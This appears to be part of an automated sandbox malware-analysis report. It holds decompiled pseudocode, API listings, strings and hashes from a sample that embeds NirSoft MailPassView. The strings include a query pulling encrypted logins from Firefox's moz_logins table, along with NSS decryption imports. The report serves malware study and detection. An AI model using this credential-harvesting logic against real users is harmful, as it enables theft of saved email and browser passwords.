                                                                                                                • Part of subcall function 0040DEEE: GetCurrentDirectoryA.KERNEL32(00000104,?,?,?,00000000), ref: 0040DF3E
                                                                                                                • Part of subcall function 0040DEEE: SetCurrentDirectoryA.KERNEL32(00000000,?,?,00000000), ref: 0040DF4B
                                                                                                                • Part of subcall function 0040DEEE: memset.MSVCRT ref: 0040DF62
                                                                                                                • Part of subcall function 0040DEEE: strlen.MSVCRT ref: 0040DF6C
                                                                                                                • Part of subcall function 0040DEEE: strlen.MSVCRT ref: 0040DF7A
                                                                                                                • Part of subcall function 0040DEEE: GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 0040DFB3
                                                                                                                • Part of subcall function 0040DEEE: LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040DFCF
                                                                                                                • Part of subcall function 0040DEEE: LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040DFE7
                                                                                                                • Part of subcall function 0040DEEE: GetProcAddress.KERNEL32(?,NSS_Init,?,?,?,?,?,?,?,00000000), ref: 0040DFFC
                                                                                                                • Part of subcall function 0040DEEE: GetProcAddress.KERNEL32(?,NSS_Shutdown,?,?,?,?,?,?,?,00000000), ref: 0040E008
                                                                                                                • Part of subcall function 0040DEEE: GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot,?,?,?,?,?,?,?,00000000), ref: 0040E014
                                                                                                                • Part of subcall function 0040DEEE: GetProcAddress.KERNEL32(?,PK11_FreeSlot,?,?,?,?,?,?,?,00000000), ref: 0040E020
                                                                                                                • Part of subcall function 0040DEEE: GetProcAddress.KERNEL32(?,PK11_CheckUserPassword,?,?,?,?,?,?,?,00000000), ref: 0040E02C
                                                                                                                • Part of subcall function 0040DEEE: GetProcAddress.KERNEL32(?,PK11_Authenticate,?,?,?,?,?,?,?,00000000), ref: 0040E038
                                                                                                              • memset.MSVCRT ref: 0040CEA6
                                                                                                              • memset.MSVCRT ref: 0040CEBF
                                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,0040D314,000000FF,?,00000104,?,00000000,?,0040D314,?,00000000,?,?,?), ref: 0040CED6
                                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00000104,00000000,00000000,?,0040D314,?,00000000,?,?,?), ref: 0040CEF5
                                                                                                              • memset.MSVCRT ref: 0040CF68
                                                                                                              • memset.MSVCRT ref: 0040CF7A
                                                                                                              • strcpy.MSVCRT(?,00000000,0040D314,00000002,0040D314,00000005,0040D314,00000004,0040D314,00000007,0040D314,00000006,0040D314,00000001), ref: 0040CFED
                                                                                                              • strcpy.MSVCRT(?,?,0040D314,00000002,0040D314,00000005,0040D314,00000004,0040D314,00000007,0040D314,00000006,0040D314,00000001), ref: 0040D003
                                                                                                              • strcpy.MSVCRT(?,00000000,0040D314,00000002,0040D314,00000005,0040D314,00000004,0040D314,00000007,0040D314,00000006,0040D314,00000001), ref: 0040D019
                                                                                                              • strcpy.MSVCRT(?,?,0040D314,00000002,0040D314,00000005,0040D314,00000004,0040D314,00000007,0040D314,00000006,0040D314,00000001), ref: 0040D02F
                                                                                                              • strcpy.MSVCRT(?,?,0040D314,00000002,0040D314,00000005,0040D314,00000004,0040D314,00000007,0040D314,00000006,0040D314,00000001), ref: 0040D045
                                                                                                              • strcpy.MSVCRT(?,0040D314,0040D314,00000002,0040D314,00000005,0040D314,00000004,0040D314,00000007,0040D314,00000006,0040D314,00000001), ref: 0040D05B
                                                                                                              • memset.MSVCRT ref: 0040D076
                                                                                                              • memset.MSVCRT ref: 0040D08A
                                                                                                              • memset.MSVCRT ref: 0040D0ED
                                                                                                              • memset.MSVCRT ref: 0040D101
                                                                                                              • sprintf.MSVCRT ref: 0040D119
                                                                                                              • sprintf.MSVCRT ref: 0040D12B
                                                                                                              • _stricmp.MSVCRT(?,?,?,imap://%s,00000104,?,mailbox://%s,00000104,?,00000000,00000261,?,00000000,00000261,?,?), ref: 0040D13E
                                                                                                              • _stricmp.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040D158
                                                                                                              • SetCurrentDirectoryA.KERNEL32(?,?,?,?,00000000,?,0040D314,?,00000000,?,?,?), ref: 0040D1DD
                                                                                                              Strings
                                                                                                              • mailbox://%s, xrefs: 0040D113
                                                                                                              • imap://%s, xrefs: 0040D125
                                                                                                              • SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins, xrefs: 0040CF2B
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$AddressProcstrcpy$CurrentDirectory$ByteCharLibraryLoadMultiWide_stricmpsprintfstrlen$HandleModule
                                                                                                              • String ID: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins$imap://%s$mailbox://%s
                                                                                                              • API String ID: 4276617627-3913509535
                                                                                                              • Opcode ID: 93cdc50bd840dfc44d83282a7c9c7e4a4c6f33fe3d7da29804190475922260c9
                                                                                                              • Instruction ID: 531ad7aca3640aed267cd003a13377454315b37e4b42da830508d09ae9ff7478
                                                                                                              • Opcode Fuzzy Hash: 93cdc50bd840dfc44d83282a7c9c7e4a4c6f33fe3d7da29804190475922260c9
                                                                                                              • Instruction Fuzzy Hash: 58B10A72C00219ABDB20EFA5CC819DEB7BDEF04315F1445BBE619B2191DB38AB858F54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040A774 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 285windowregistrystringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 76%
                                                                                                              			E0040A774(intOrPtr __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HMENU__* _t121;
				struct HWND__* _t122;
				intOrPtr _t128;
				int _t133;
				intOrPtr _t135;
				int _t149;
				void* _t166;
				void* _t174;
				void* _t178;
				void* _t185;
				intOrPtr _t194;
				void* _t197;
				void* _t198;
				intOrPtr _t200;
				intOrPtr _t201;
				void* _t202;
				int _t204;
				intOrPtr _t205;
				intOrPtr* _t207;
				intOrPtr* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t213;

				_t213 = __eflags;
				_t208 = _t210 - 0x78;
				_t211 = _t210 - 0xb8;
				 *((intOrPtr*)(_t208 + 0x70)) = __ecx;
				 *((char*)(_t208 - 0x37)) = 1;
				 *(_t208 - 0x40) = 0;
				 *((intOrPtr*)(_t208 - 0x3c)) = 0;
				 *((char*)(_t208 - 0x38)) = 0;
				 *((char*)(_t208 - 0x36)) = 0;
				 *((char*)(_t208 - 0x35)) = 0;
				asm("stosd");
				asm("stosd");
				 *(_t208 - 0x2c) = 1;
				 *((intOrPtr*)(_t208 - 0x28)) = 0x9c41;
				 *((char*)(_t208 - 0x24)) = 4;
				 *((char*)(_t208 - 0x23)) = 0;
				 *((char*)(_t208 - 0x22)) = 0;
				 *((char*)(_t208 - 0x21)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 - 0x18)) = 5;
				 *((intOrPtr*)(_t208 - 0x14)) = 0x9c44;
				 *((char*)(_t208 - 0x10)) = 4;
				 *((char*)(_t208 - 0xf)) = 0;
				 *((char*)(_t208 - 0xe)) = 0;
				 *((char*)(_t208 - 0xd)) = 0;
				asm("stosd");
				asm("stosd");
				 *(_t208 - 4) = 2;
				 *_t208 = 0x9c48;
				 *((char*)(_t208 + 4)) = 4;
				 *((char*)(_t208 + 5)) = 0;
				 *((char*)(_t208 + 6)) = 0;
				 *((char*)(_t208 + 7)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x10)) = 3;
				 *((intOrPtr*)(_t208 + 0x14)) = 0x9c49;
				 *((char*)(_t208 + 0x18)) = 4;
				 *((char*)(_t208 + 0x19)) = 0;
				 *((char*)(_t208 + 0x1a)) = 0;
				 *((char*)(_t208 + 0x1b)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x24)) = 0;
				 *((intOrPtr*)(_t208 + 0x28)) = 0x9c4e;
				 *((char*)(_t208 + 0x2c)) = 4;
				 *((char*)(_t208 + 0x2d)) = 0;
				 *((char*)(_t208 + 0x2e)) = 0;
				 *((char*)(_t208 + 0x2f)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x38)) = 6;
				 *((intOrPtr*)(_t208 + 0x3c)) = 0x9c56;
				 *((char*)(_t208 + 0x40)) = 4;
				 *((char*)(_t208 + 0x41)) = 0;
				 *((char*)(_t208 + 0x42)) = 0;
				 *((char*)(_t208 + 0x43)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x4c)) = 4;
				 *((intOrPtr*)(_t208 + 0x50)) = 0x9c42;
				 *((char*)(_t208 + 0x54)) = 4;
				 *((char*)(_t208 + 0x55)) = 0;
				 *((char*)(_t208 + 0x56)) = 0;
				 *((char*)(_t208 + 0x57)) = 0;
				 *(_t208 + 0x6c) =  *(_t208 + 0x6c) | 0xffffffff;
				asm("stosd");
				_t198 = 0x66;
				asm("stosd");
				_t121 = E00407BB9(_t198);
				_t194 =  *((intOrPtr*)(_t208 + 0x70));
				 *(_t194 + 0x11c) = _t121;
				_t122 = SetMenu( *(_t194 + 0x108), _t121);
				__imp__#6(0x50000000, 0x412466,  *(_t194 + 0x108), 0x101, _t185, _t197, _t166);
				 *(_t194 + 0x114) = _t122;
				SendMessageA(_t122, 0x404, 1, _t208 + 0x6c);
				 *((intOrPtr*)(_t194 + 0x118)) = CreateToolbarEx( *(_t194 + 0x108), 0x50010900, 0x102, 7, 0, LoadImageA( *0x416b94, 0x68, 0, 0, 0, 0x9060), _t208 - 0x40, 8, 0x10, 0x10, 0x70, 0x10, 0x14);
				E004023D4( *((intOrPtr*)(_t194 + 0x370)), _t213, CreateWindowExA(0, "SysListView32", 0, 0x50810809, 0, 0, 0x190, 0xc8,  *(_t194 + 0x108), 0x103,  *0x416b94, 0), 1);
				_t128 =  *((intOrPtr*)(_t194 + 0x370));
				_t173 =  *((intOrPtr*)(_t128 + 0x1b0));
				_t200 =  *((intOrPtr*)(_t128 + 0x1b4));
				 *((intOrPtr*)(_t208 + 0x68)) =  *((intOrPtr*)(_t128 + 0x184));
				if(_t173 <= 0) {
					L3:
					_t201 =  *((intOrPtr*)(_t194 + 0x370));
					E00409EC4(_t201);
					_t133 = ImageList_ReplaceIcon( *(_t201 + 0x18c), 0, LoadIconA( *0x416b94, 0x66));
					if( *((intOrPtr*)(_t201 + 0x1b8)) != 0) {
						E00409E32(_t133, _t173, _t194, _t201);
					}
					_t202 = 0x68;
					 *((intOrPtr*)(_t194 + 0x154)) = E00407BB9(_t202);
					_t135 =  *((intOrPtr*)(_t194 + 0x37c));
					if( *((intOrPtr*)(_t135 + 0x30)) <= 0) {
						_t174 = 0x412466;
					} else {
						if( *((intOrPtr*)(_t135 + 0x1c)) <= 0) {
							_t174 = 0;
						} else {
							_t174 =  *((intOrPtr*)( *((intOrPtr*)(_t135 + 0xc)))) +  *((intOrPtr*)(_t135 + 0x10));
						}
					}
					_push("/noloadsettings");
					_push(_t174);
					L004115B2();
					if(_t135 == 0) {
						RegDeleteKeyA(0x80000001, "Software\\NirSoft\\MailPassView");
					}
					E0040AF17(_t194, 0);
					 *( *(_t194 + 0x36c)) = 1;
					SetFocus( *( *((intOrPtr*)(_t194 + 0x370)) + 0x184));
					if( *0x417660 == 0) {
						E00406172(0x417660);
						if((GetFileAttributesA(0x417660) & 0x00000001) != 0) {
							GetTempPathA(0x104, 0x417660);
						}
					}
					_t204 = strlen(0x417660);
					 *_t211 = "report.html";
					_t99 = strlen(??) + 1; // 0x1
					_t223 = _t204 + _t99 - 0x104;
					if(_t204 + _t99 >= 0x104) {
						 *((char*)(_t194 + 0x264)) = 0;
					} else {
						E004062AD(_t194 + 0x264, 0x417660, "report.html");
					}
					_push(1);
					_t178 = 0x30;
					E0040A00B( *((intOrPtr*)(_t194 + 0x370)), _t178);
					E0040A00B( *((intOrPtr*)(_t194 + 0x370)), 1, ( *(_t194 + 0x36c))[1]);
					_t149 = RegisterWindowMessageA("commdlg_FindReplace");
					_t205 = _t194;
					 *(_t194 + 0x374) = _t149;
					E0040A27F(0, 1, _t205, _t223);
					E00401E8B(_t223,  *((intOrPtr*)(_t205 + 0x370)) + 0xb20);
					 *(_t208 + 0x60) = 0x12c;
					 *((intOrPtr*)(_t208 + 0x64)) = 0x400;
					SendMessageA( *(_t205 + 0x114), 0x404, 2, _t208 + 0x60);
					return SendMessageA( *(_t205 + 0x114), 0x401, 0x1001, 0);
				} else {
					_t207 = _t200 + 0xc;
					 *((intOrPtr*)(_t208 + 0x74)) = _t173;
					do {
						_t173 =  *((intOrPtr*)(_t207 - 8));
						E00404925( *((intOrPtr*)(_t207 + 4)),  *((intOrPtr*)(_t207 - 8)),  *((intOrPtr*)(_t208 + 0x68)),  *((intOrPtr*)(_t207 - 0xc)),  *((intOrPtr*)(_t207 - 4)),  *_t207);
						_t211 = _t211 + 0x10;
						_t207 = _t207 + 0x14;
						_t82 = _t208 + 0x74;
						 *_t82 =  *((intOrPtr*)(_t208 + 0x74)) - 1;
					} while ( *_t82 != 0);
					goto L3;
				}
			}





























                                                                                                              0x0040a774
                                                                                                              0x0040a775
                                                                                                              0x0040a779
                                                                                                              0x0040a782
                                                                                                              0x0040a785
                                                                                                              0x0040a78d
                                                                                                              0x0040a790
                                                                                                              0x0040a793
                                                                                                              0x0040a796
                                                                                                              0x0040a799
                                                                                                              0x0040a79f
                                                                                                              0x0040a7a0
                                                                                                              0x0040a7a1
                                                                                                              0x0040a7a8
                                                                                                              0x0040a7af
                                                                                                              0x0040a7b3
                                                                                                              0x0040a7b6
                                                                                                              0x0040a7b9
                                                                                                              0x0040a7c1
                                                                                                              0x0040a7c2
                                                                                                              0x0040a7c3
                                                                                                              0x0040a7ca
                                                                                                              0x0040a7d1
                                                                                                              0x0040a7d5
                                                                                                              0x0040a7d8
                                                                                                              0x0040a7db
                                                                                                              0x0040a7e3
                                                                                                              0x0040a7e4
                                                                                                              0x0040a7e5
                                                                                                              0x0040a7ec
                                                                                                              0x0040a7f3
                                                                                                              0x0040a7f7
                                                                                                              0x0040a7fa
                                                                                                              0x0040a7fd
                                                                                                              0x0040a805
                                                                                                              0x0040a806
                                                                                                              0x0040a807
                                                                                                              0x0040a80e
                                                                                                              0x0040a815
                                                                                                              0x0040a819
                                                                                                              0x0040a81c
                                                                                                              0x0040a81f
                                                                                                              0x0040a827
                                                                                                              0x0040a828
                                                                                                              0x0040a829
                                                                                                              0x0040a82c
                                                                                                              0x0040a833
                                                                                                              0x0040a837
                                                                                                              0x0040a83a
                                                                                                              0x0040a83d
                                                                                                              0x0040a845
                                                                                                              0x0040a846
                                                                                                              0x0040a847
                                                                                                              0x0040a84e
                                                                                                              0x0040a855
                                                                                                              0x0040a859
                                                                                                              0x0040a85c
                                                                                                              0x0040a85f
                                                                                                              0x0040a867
                                                                                                              0x0040a868
                                                                                                              0x0040a869
                                                                                                              0x0040a870
                                                                                                              0x0040a877
                                                                                                              0x0040a87b
                                                                                                              0x0040a87e
                                                                                                              0x0040a881
                                                                                                              0x0040a884
                                                                                                              0x0040a88d
                                                                                                              0x0040a890
                                                                                                              0x0040a891
                                                                                                              0x0040a892
                                                                                                              0x0040a897
                                                                                                              0x0040a8a1
                                                                                                              0x0040a8a7
                                                                                                              0x0040a8c2
                                                                                                              0x0040a8d4
                                                                                                              0x0040a8da
                                                                                                              0x0040a927
                                                                                                              0x0040a95f
                                                                                                              0x0040a964
                                                                                                              0x0040a96a
                                                                                                              0x0040a972
                                                                                                              0x0040a97e
                                                                                                              0x0040a981
                                                                                                              0x0040a9aa
                                                                                                              0x0040a9aa
                                                                                                              0x0040a9b2
                                                                                                              0x0040a9cd
                                                                                                              0x0040a9d9
                                                                                                              0x0040a9db
                                                                                                              0x0040a9db
                                                                                                              0x0040a9e2
                                                                                                              0x0040a9e8
                                                                                                              0x0040a9ee
                                                                                                              0x0040a9f7
                                                                                                              0x0040aa0c
                                                                                                              0x0040a9f9
                                                                                                              0x0040a9fc
                                                                                                              0x0040aa08
                                                                                                              0x0040a9fe
                                                                                                              0x0040aa03
                                                                                                              0x0040aa03
                                                                                                              0x0040a9fc
                                                                                                              0x0040aa11
                                                                                                              0x0040aa16
                                                                                                              0x0040aa17
                                                                                                              0x0040aa20
                                                                                                              0x0040aa2c
                                                                                                              0x0040aa2c
                                                                                                              0x0040aa35
                                                                                                              0x0040aa40
                                                                                                              0x0040aa52
                                                                                                              0x0040aa63
                                                                                                              0x0040aa65
                                                                                                              0x0040aa73
                                                                                                              0x0040aa7b
                                                                                                              0x0040aa7b
                                                                                                              0x0040aa73
                                                                                                              0x0040aa87
                                                                                                              0x0040aa89
                                                                                                              0x0040aa95
                                                                                                              0x0040aa99
                                                                                                              0x0040aa9f
                                                                                                              0x0040aaba
                                                                                                              0x0040aaa1
                                                                                                              0x0040aab1
                                                                                                              0x0040aab7
                                                                                                              0x0040aac6
                                                                                                              0x0040aaca
                                                                                                              0x0040aacb
                                                                                                              0x0040aae2
                                                                                                              0x0040aaec
                                                                                                              0x0040aaf4
                                                                                                              0x0040aaf6
                                                                                                              0x0040aafc
                                                                                                              0x0040ab0d
                                                                                                              0x0040ab29
                                                                                                              0x0040ab30
                                                                                                              0x0040ab37
                                                                                                              0x0040ab53
                                                                                                              0x0040a983
                                                                                                              0x0040a983
                                                                                                              0x0040a986
                                                                                                              0x0040a989
                                                                                                              0x0040a991
                                                                                                              0x0040a99a
                                                                                                              0x0040a99f
                                                                                                              0x0040a9a2
                                                                                                              0x0040a9a5
                                                                                                              0x0040a9a5
                                                                                                              0x0040a9a5
                                                                                                              0x00000000
                                                                                                              0x0040a989

                                                                                                              APIs
                                                                                                                • Part of subcall function 00407BB9: LoadMenuA.USER32 ref: 00407BC1
                                                                                                                • Part of subcall function 00407BB9: sprintf.MSVCRT ref: 00407BE4
                                                                                                              • SetMenu.USER32 ref: 0040A8A7
                                                                                                              • #6.COMCTL32(50000000,Function_00012466,?,00000101), ref: 0040A8C2
                                                                                                              • SendMessageA.USER32 ref: 0040A8DA
                                                                                                              • LoadImageA.USER32(00000068,00000000,00000000,00000000,00009060), ref: 0040A8F0
                                                                                                              • CreateToolbarEx.COMCTL32(?,50010900,00000102,00000007,00000000,00000000,?,00000008,00000010,00000010,00000070,00000010,00000014), ref: 0040A91A
                                                                                                              • CreateWindowExA.USER32 ref: 0040A950
                                                                                                              • LoadIconA.USER32 ref: 0040A9BF
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000000,00000000), ref: 0040A9CD
                                                                                                              • _stricmp.MSVCRT(Function_00012466,/noloadsettings), ref: 0040AA17
                                                                                                              • RegDeleteKeyA.ADVAPI32(80000001,Software\NirSoft\MailPassView), ref: 0040AA2C
                                                                                                              • SetFocus.USER32 ref: 0040AA52
                                                                                                              • GetFileAttributesA.KERNEL32(00417660), ref: 0040AA6B
                                                                                                              • GetTempPathA.KERNEL32(00000104,00417660), ref: 0040AA7B
                                                                                                              • strlen.MSVCRT ref: 0040AA82
                                                                                                              • strlen.MSVCRT ref: 0040AA90
                                                                                                              • RegisterWindowMessageA.USER32(commdlg_FindReplace,?,00000001), ref: 0040AAEC
                                                                                                                • Part of subcall function 00404925: strlen.MSVCRT ref: 00404942
                                                                                                                • Part of subcall function 00404925: SendMessageA.USER32 ref: 00404966
                                                                                                              • SendMessageA.USER32 ref: 0040AB37
                                                                                                              • SendMessageA.USER32 ref: 0040AB4A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Message$Send$Loadstrlen$CreateIconImageMenuWindow$AttributesDeleteFileFocusList_PathRegisterReplaceTempToolbar_stricmpsprintf
                                                                                                              • String ID: /noloadsettings$Software\NirSoft\MailPassView$SysListView32$`vA$commdlg_FindReplace$report.html
                                                                                                              • API String ID: 873469642-860065374
                                                                                                              • Opcode ID: a4e7fbf76496b0a5143eb8d44d5c426d23ad41d46f34e9c279854c8240868147
                                                                                                              • Instruction ID: ca2bded9840d9beafebaacef77bacb5142d556b3fd29cdc4ce09694084a06bb6
                                                                                                              • Opcode Fuzzy Hash: a4e7fbf76496b0a5143eb8d44d5c426d23ad41d46f34e9c279854c8240868147
                                                                                                              • Instruction Fuzzy Hash: 82B12271644388FFEB16CF74CC45BDABBA5BF14304F00406AFA44A7292C7B5A954CB5A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040DB39 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 220windowstringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 88%
                                                                                                              			E0040DB39(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, void _a10, unsigned int _a12, void _a264, void _a265, void _a520, void _a521, void _a776, void _a780, char _a784, char _a1056, void _a1057, char _a2080, void _a2081, char _a3104, void _a3105) {
				char _v0;
				struct HWND__* _v4;
				void* __edi;
				void* _t44;
				void* _t58;
				int _t59;
				int _t61;
				int _t62;
				long _t66;
				struct HWND__* _t93;
				intOrPtr _t122;
				unsigned int _t125;
				signed int _t127;
				signed int _t128;
				void* _t134;

				_t128 = _t127 & 0xfffffff8;
				E004118A0(0x1424, __ecx);
				_t44 = _a8 - 0x110;
				if(_t44 == 0) {
					E00406491(__edx, _a4);
					 *_t128 = 0x7ff;
					_a3104 = 0;
					memset( &_a3105, 0, ??);
					asm("movsd");
					asm("movsd");
					asm("movsw");
					memset( &_a10, 0, 0xfb);
					_a520 = 0;
					memset( &_a521, 0, 0xff);
					_a264 = 0;
					memset( &_a265, 0, 0xff);
					_a1056 = 0;
					memset( &_a1057, 0, 0x3ff);
					_a2080 = 0;
					memset( &_a2081, 0, 0x3ff);
					_t134 = _t128 + 0x48;
					_t58 = GetCurrentProcess();
					_t102 =  &_a520;
					_v4 = _t58;
					_t59 = ReadProcessMemory(_t58,  *0x416c64,  &_a520, 0x80, 0);
					__eflags = _t59;
					if(_t59 != 0) {
						E00406585( &_a1056,  &_a520, 4);
						_pop(_t102);
					}
					_t61 = ReadProcessMemory(_v4,  *0x416c58,  &_a264, 0x80, 0);
					__eflags = _t61;
					if(_t61 != 0) {
						E00406585( &_a2080,  &_a264, 0);
						_pop(_t102);
					}
					_t62 = E0040629C();
					__eflags = _t62;
					if(_t62 == 0) {
						E0040E056();
					} else {
						E0040E0DA();
					}
					__eflags =  *0x417514;
					if(__eflags != 0) {
						L17:
						_a776 = 0;
						memset( &_a780, 0, 0x114);
						_t122 =  *0x416e7c; // 0x0
						_t134 = _t134 + 0xc;
						_t66 = GetCurrentProcessId();
						 *0x417108 = 0;
						E0040E255(_t102, __eflags, _t66, _t122);
						__eflags =  *0x417108;
						if( *0x417108 != 0) {
							memcpy( &_a776, 0x416ff0, 0x118);
							_t134 = _t134 + 0xc;
							__eflags =  *0x417108;
							if( *0x417108 != 0) {
								strcpy( &_v0, E004061E6( &_a784));
							}
						}
						goto L20;
					} else {
						__eflags =  *0x417518;
						if(__eflags == 0) {
							L20:
							sprintf( &_a3104, "Exception %8.8X at address %8.8X in module %s\r\nRegisters: \r\nEAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X\r\nESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X\r\nEIP=%8.8X\r\nStack Data: %s\r\nCode Data: %s\r\n",  *0x416e70,  *0x416e7c,  &_v0,  *0x416c50,  *0x416c44,  *0x416c4c,  *0x416c48,  *0x416c40,  *0x416c3c,  *0x416c54,  *0x416c64,  *0x416c58,  &_a1056,  &_a2080);
							SetDlgItemTextA(_a4, 0x3ea,  &_a3104);
							SetFocus(GetDlgItem(_a4, 0x3ea));
							L21:
							return 0;
						}
						goto L17;
					}
				}
				if(_t44 == 1) {
					_t125 = _a12;
					if(_t125 >> 0x10 == 0) {
						if(_t125 == 3) {
							_t93 = GetDlgItem(_a4, 0x3ea);
							_v4 = _t93;
							SendMessageA(_t93, 0xb1, 0, 0xffff);
							SendMessageA(_v4, 0x301, 0, 0);
							SendMessageA(_v4, 0xb1, 0, 0);
						}
					}
				}
				goto L21;
			}


















                                                                                                              0x0040db3c
                                                                                                              0x0040db44
                                                                                                              0x0040db4c
                                                                                                              0x0040db54
                                                                                                              0x0040dbd8
                                                                                                              0x0040dbdf
                                                                                                              0x0040dbef
                                                                                                              0x0040dbf6
                                                                                                              0x0040dc04
                                                                                                              0x0040dc08
                                                                                                              0x0040dc14
                                                                                                              0x0040dc16
                                                                                                              0x0040dc2d
                                                                                                              0x0040dc34
                                                                                                              0x0040dc46
                                                                                                              0x0040dc4d
                                                                                                              0x0040dc64
                                                                                                              0x0040dc6b
                                                                                                              0x0040dc7d
                                                                                                              0x0040dc84
                                                                                                              0x0040dc89
                                                                                                              0x0040dc8c
                                                                                                              0x0040dc9e
                                                                                                              0x0040dcac
                                                                                                              0x0040dcb1
                                                                                                              0x0040dcb3
                                                                                                              0x0040dcb5
                                                                                                              0x0040dcc8
                                                                                                              0x0040dcce
                                                                                                              0x0040dcce
                                                                                                              0x0040dce7
                                                                                                              0x0040dce9
                                                                                                              0x0040dceb
                                                                                                              0x0040dcfd
                                                                                                              0x0040dd03
                                                                                                              0x0040dd03
                                                                                                              0x0040dd04
                                                                                                              0x0040dd09
                                                                                                              0x0040dd0b
                                                                                                              0x0040dd14
                                                                                                              0x0040dd0d
                                                                                                              0x0040dd0d
                                                                                                              0x0040dd0d
                                                                                                              0x0040dd19
                                                                                                              0x0040dd1f
                                                                                                              0x0040dd29
                                                                                                              0x0040dd37
                                                                                                              0x0040dd3e
                                                                                                              0x0040dd43
                                                                                                              0x0040dd49
                                                                                                              0x0040dd4c
                                                                                                              0x0040dd54
                                                                                                              0x0040dd5a
                                                                                                              0x0040dd5f
                                                                                                              0x0040dd67
                                                                                                              0x0040dd7b
                                                                                                              0x0040dd80
                                                                                                              0x0040dd83
                                                                                                              0x0040dd89
                                                                                                              0x0040dd9d
                                                                                                              0x0040dda3
                                                                                                              0x0040dd89
                                                                                                              0x00000000
                                                                                                              0x0040dd21
                                                                                                              0x0040dd21
                                                                                                              0x0040dd27
                                                                                                              0x0040dda4
                                                                                                              0x0040de08
                                                                                                              0x0040de21
                                                                                                              0x0040de32
                                                                                                              0x0040de38
                                                                                                              0x0040de40
                                                                                                              0x0040de40
                                                                                                              0x00000000
                                                                                                              0x0040dd27
                                                                                                              0x0040dd1f
                                                                                                              0x0040db57
                                                                                                              0x0040db5d
                                                                                                              0x0040db68
                                                                                                              0x0040db8b
                                                                                                              0x0040db99
                                                                                                              0x0040dbb4
                                                                                                              0x0040dbb8
                                                                                                              0x0040dbc5
                                                                                                              0x0040dbce
                                                                                                              0x0040dbce
                                                                                                              0x0040db8b
                                                                                                              0x0040db68
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              • {Unknown}, xrefs: 0040DBFB
                                                                                                              • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8XEIP=%8.8XStack Data: %sCode Data: %s, xrefs: 0040DE02
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusTextmemcpysprintfstrcpy
                                                                                                              • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8XEIP=%8.8XStack Data: %sCode Data: %s${Unknown}
                                                                                                              • API String ID: 138940113-3474136107
                                                                                                              • Opcode ID: a83a35a4c36da605d140adb83b4774888d9d4a076b757738f8a3eb1b01500df5
                                                                                                              • Instruction ID: 36e6f19d437acde9dae1843bd1f228cb1d7049f577ea92cd8b51c55dddb48a69
                                                                                                              • Opcode Fuzzy Hash: a83a35a4c36da605d140adb83b4774888d9d4a076b757738f8a3eb1b01500df5
                                                                                                              • Instruction Fuzzy Hash: 6D711C72844244BFD721EF51DC41EEB3BEDEF94344F00843EF649921A0DA399A58CBA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

